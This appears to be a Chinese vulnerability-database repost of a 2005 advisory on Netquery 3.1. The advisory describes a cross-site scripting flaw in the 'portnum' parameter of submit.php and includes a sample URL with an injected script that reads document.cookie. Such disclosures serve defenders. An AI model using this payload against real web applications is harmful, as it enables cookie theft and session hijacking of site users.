Netquery 3.1 – ‘submit.php?portnum’ Cross-Site Scripting

漏洞ID	1055280	漏洞类型
发布时间	2005-07-25	更新时间	2005-07-25
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/26025

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/14373/info

Netquery is affected by multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands, disclose sensitive information and carry out cross-site scripting attacks.

Netquery 3.1 is affected by these vulnerabilities. 

http://www.example.com/[path]/submit.php?portnum="/><script>alert(document.cookie)</script>

相关推荐: Mailtraq 2.2 – ‘Browse.asp’ Cross-Site Scripting

Mailtraq 2.2 – ‘Browse.asp’ Cross-Site Scripting 漏洞ID 1053931 漏洞类型发布时间 2003-06-04 更新时间 2003-06-04 CVE编号 N/A CNNVD-ID N/A 漏洞平台 ASP…